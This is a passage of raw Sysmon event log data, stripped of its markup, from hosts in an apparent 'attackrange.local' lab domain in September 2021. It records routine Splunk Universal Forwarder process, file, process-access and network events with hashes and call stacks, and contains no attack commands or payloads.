Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-71D9-613B-3A0B-00000000F001}5852C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:21.726{7BD73061-71D9-613B-3A0B-00000000F001}5852C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000048152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:21.631{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=D7682C598FFD697223E2FFD3A0BE5935,SHA256=ADA351D30093E0FD6DFF79A20AC3475284B06A5DA7CD9E875A5C0419F3B6A77F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:21.350{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B96DF974810EC83133A34E049F2598F4,SHA256=C994BE320680B1CD9B3092933C74FAF46478AFFC0DFC94051A66876D7DFAC467,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015809Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:19.408{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50250-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015811Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:22.851{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=948EE212A162BEC4642F801358FB59B4,SHA256=DBF0FE22B65A0ADE4E66E6C84A094E5F61088153CCB7893D1A6EAD4961247616,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:22.943{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=BF8F6427C0BDBBD3AC31FCD30B0E48E4,SHA256=F11BA1173DD3361D21DF54509A1D29B6BEE190B6347F11D3CEB023ECA34BCBDE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:22.367{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=18F56D730CCFCB68CD28475936C1C9E6,SHA256=A3DE4DE03CDD2401326E5172CECF35A42DD1504D2637ABA9159CCF3F9FBD6AD0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015812Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:23.851{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BD6286137F6850B045ADFDE6CA979CB0,SHA256=F0A23D05777E553D442CA98A1D43A13A6FA01002AAE0292EA104C56A7F5D284F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:23.381{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=92CFEBF1B18230E1FBD372ED359C33F4,SHA256=731A95168C3C70B2FA68636E743ED578993B3C495F9C3074FA330CDE358917C8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015813Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:24.882{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5E8A0D89A31D5B50546411279AD70027,SHA256=EDDC1E0C702681E14B5DD50E733286D36691ABCC3A29B5F7B0F6741929D132A2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:24.396{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1CE10C087CD8067E045FEAFF04AE6D12,SHA256=332995FDD353CF6DA779EE415305F191B33CE946D4374D5AECCADCE91EC2B470,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:25.428{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=74F63B9175083D24013CDBB73AFE0DD7,SHA256=382175C04856675C372F46AB9B35808D5428726EE46236C8253DF0CC7073A7C2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015814Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:25.898{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7C6531E27D994A0FD8CB452A79FB9748,SHA256=BF683922F29992670728E9B833150C6F886B96A09DA943D17ECF6985294FC612,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:26.553{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=73F66F1C033E9F3C34EF012F35209767,SHA256=CB69A08DEBA0F2CB3F2A65195F29AD6016D66ACF2B5CD4C9FDFC5BD35A8517B5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015816Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:26.913{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BF8F65989D013E8F7D5D2385003E8C4F,SHA256=6D14A8AC1485A6FA23925BF4150715EFE78ED8F57B0098A0D6058471F3D835C2,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015815Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:24.533{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50251-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000048168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:27.740{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8D67C4BF503916117D00D09A7F3FFBF5,SHA256=3CD4F4FF43930D7C4B0756A86AB1054C72919501DC9BCD0545BB329454BE06D0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015817Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:27.929{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BCB56527F8EE808835793A239F936A2B,SHA256=4C440A290E0B8A7A62CA6BA5891397E5F64025AD8B558911E7BCBC4F8912175D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:28.865{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=77763405B5E659FF0B0DCDE39BE2CC23,SHA256=71A65D63F11E3170FC96AFB89FA3D8E4B430447904083395E57060DA0BBF4841,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015818Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:28.976{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CC67F71DF78DE404739514C9F7EA757C,SHA256=2A717F391C99DE97DDACBDF93EA02DF0C13B5CA494498DD66DF24E97D8449857,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:25.392{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59451-false10.0.1.12-8000- 23542300x800000000000000048171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:29.740{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:30.084{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9E6436040FCCECE381587D4EF6148524,SHA256=D8DADD88AC43DE4A0451AC84180A666A941986F4767EF9940B310E9003589FB5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015819Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:30.007{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=429C167E634FD6E13223C5A9DE9740C4,SHA256=552E842BED75384B81A649BBB3B2F1E965AB76A4508CF2122EDA592DB40AA114,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015833Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:31.761{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-71E3-613B-E204-00000000F101}3664C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015832Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:31.761{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015831Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:31.761{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015830Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:31.761{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015829Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:31.761{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015828Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:31.761{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015827Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:31.761{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015826Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:31.761{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015825Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:31.761{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015824Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:31.761{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015823Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:31.761{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-71E3-613B-E204-00000000F101}3664C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015822Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:31.761{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-71E3-613B-E204-00000000F101}3664C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015821Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:31.762{625C326B-71E3-613B-E204-00000000F101}3664C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 